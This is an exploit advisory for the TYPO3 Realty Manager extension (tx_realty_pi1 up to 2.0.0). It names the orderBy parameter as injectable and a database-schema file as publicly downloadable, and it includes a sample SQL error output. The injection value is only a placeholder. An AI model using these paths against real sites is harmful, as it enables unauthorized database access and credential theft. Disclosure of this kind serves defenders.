Typo3 CMS Realty Manager tx_realty_pi1 version 2.0.0 suffers from database disclosure and remote SQL injection vulnerabilities.
5d7dec2aefebceae6a65631a827f8e8b############################################################################################
# Exploit Title : Typo3 CMS Realty Manager tx_realty_pi1 2.0.0 SQL Injection / Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 18/02/2019
# Vendor Homepage : typo3.org ~ oliverklee.de
# Software Download Link : github.com/TYPO3-svn-archive/realty/archive/master.zip
extensions.typo3.org/extension/download/realty/2.0.0/zip/
# Software Information Link : extensions.typo3.org/extension/realty/
github.com/TYPO3-svn-archive/realty
# Software Version : From 0.1.0 - 0.5.3 to 2.0.0 / All Versions
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-200 [ Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
############################################################################################
# Description about Software :
***************************
Provides a plugin that displays realty objects (properties, real estate),
including an image gallery for each object.
############################################################################################
# Impact :
***********
* Typo3 Realty Manager tx_realty_pi1 2.0.0 [ and other versions ]
extension for TYPO3 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize
user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application,
access or modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application
and execute arbitrary SQL commands in application`s database.
Further exploitation of this vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser.
* On the other hand, this Software prone to an information exposure/database disclosure vulnerability.
Successful exploits of this issue may allow an attacker to obtain sensitive
information by downloading the full contents of the application's database.
* Any remote user may download the database files and gain access
to sensitive information including unencrypted authentication credentials.
############################################################################################
# SQL Injection Exploit :
***********************
/index.php?id=[ID-NUMBER]&tx_realty_pi1%5Bcity%5D=[ID-NUMBER]&tx_realty_pi1%5Bdistrict%5D=[ID-NUMBER]&tx_realty_pi1%5BorderBy%5D=[SQL Injection]
# Database Disclosure Exploit :
***************************
/typo3conf/ext/realty/ext_table.sql
############################################################################################
# Example SQL Database Error :
****************************
You have an error in your SQL syntax; check the manual that corresponds to your
MariaDB server version for the right syntax to use near 'LIMIT 0,1' at line 1
The last built query
*****************
SELECT COUNT(*) AS oelib_counter FROM tx_realty_objects
INNER JOIN tx_realty_cities ON tx_realty_objects.city = tx_realty_cities.uid
WHERE 1=1 AND tx_realty_objects.deleted=0 AND tx_realty_objects.t3ver_state
<=0 AND tx_realty_objects.pid<>-1 AND tx_realty_objects.hidden=0 AND
tx_realty_objects.starttime<=1550508420 AND (tx_realty_objects.endtime=0 OR
tx_realty_objects.endtime>1550508420) AND tx_realty_cities.deleted=0 AND
house_type = 2 AND tx_realty_objects.city = 1 AND tx_realty_objects.project_id = LIMIT 0,1
#0 /home/jail/home/buecher/htdocs/typo3conf/ext/oelib/class.tx_oelib_db.php(394):
tx_oelib_db::select('COUNT(*) AS oel...', 'tx_realty_objec...', '1=1 AND tx_real...', '', '', '0,1')
############################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
############################################################################################